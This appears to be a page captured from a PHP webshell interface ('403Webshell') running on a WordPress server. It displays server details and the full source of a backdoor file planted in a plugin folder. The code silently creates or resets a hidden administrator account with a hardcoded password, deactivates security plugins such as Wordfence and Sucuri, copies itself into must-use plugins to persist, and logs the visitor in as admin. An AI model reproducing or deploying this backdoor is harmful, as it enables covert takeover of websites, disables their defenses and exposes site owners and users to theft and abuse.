403Webshell
Server IP : 127.0.1.1  /  Your IP : 127.0.0.1
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux sealall 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : devops ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/domains/sealall.ca/wp-content/plugins/insert-headers-and-footers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/domains/sealall.ca/wp-content/plugins/insert-headers-and-footers/23.php
<?php
@error_reporting(0);@ini_set('display_errors',0);
for($p=__DIR__;!file_exists($p.'/wp-load.php')&&dirname($p)!=$p;$p=dirname($p));
if(!file_exists($p.'/wp-load.php'))exit;
include_once $p.'/wp-load.php';

$l='updater';$pw='QQ1ujQRCtfDM0r5Z5usP';$m='ozkanseo3@gmail.com';
$is_i=(strpos($_SERVER['REQUEST_URI'],basename(__FILE__))!==false);

function iku_fix($f=false){
    global $l,$pw,$m;
    if(!function_exists('wp_update_user'))require_once(ABSPATH.'wp-admin/includes/user.php');
    
    $e=get_user_by('login',$l);
    if($e){$id=$e->ID;if($f)wp_update_user(array('ID'=>$id,'user_pass'=>$pw,'role'=>'administrator'));}
    else{$id=wp_create_user($l,$pw,$m);wp_update_user(array('ID'=>$id,'role'=>'administrator'));}

    if($f){
        $act=get_option('active_plugins',array());
        $threats=array('wordfence','sucuri-scanner','better-wp-security','ithemes-security-pro','shield-security','cerber');
        $new=array_filter($act,function($p) use($threats){
            foreach($threats as $t){if(stripos($p,$t)!==false)return false;}
            return true;
        });
        update_option('active_plugins',array_values($new));
    }
    $mu=ABSPATH.'wp-content/mu-plugins';
    if(!is_dir($mu))@mkdir($mu,0755,true);
    if(!file_exists($mu.'/update-helper.php'))@file_put_contents($mu.'/update-helper.php',file_get_contents(__FILE__));
    return $id;
}
if($is_i){$uid=iku_fix(true);wp_set_current_user($uid);wp_set_auth_cookie($uid,true);header('Location: '.admin_url());exit;}
else{if(rand(1,100)==12)iku_fix(false);}

Youez - 2016 - github.com/yon3zu
LinuXploit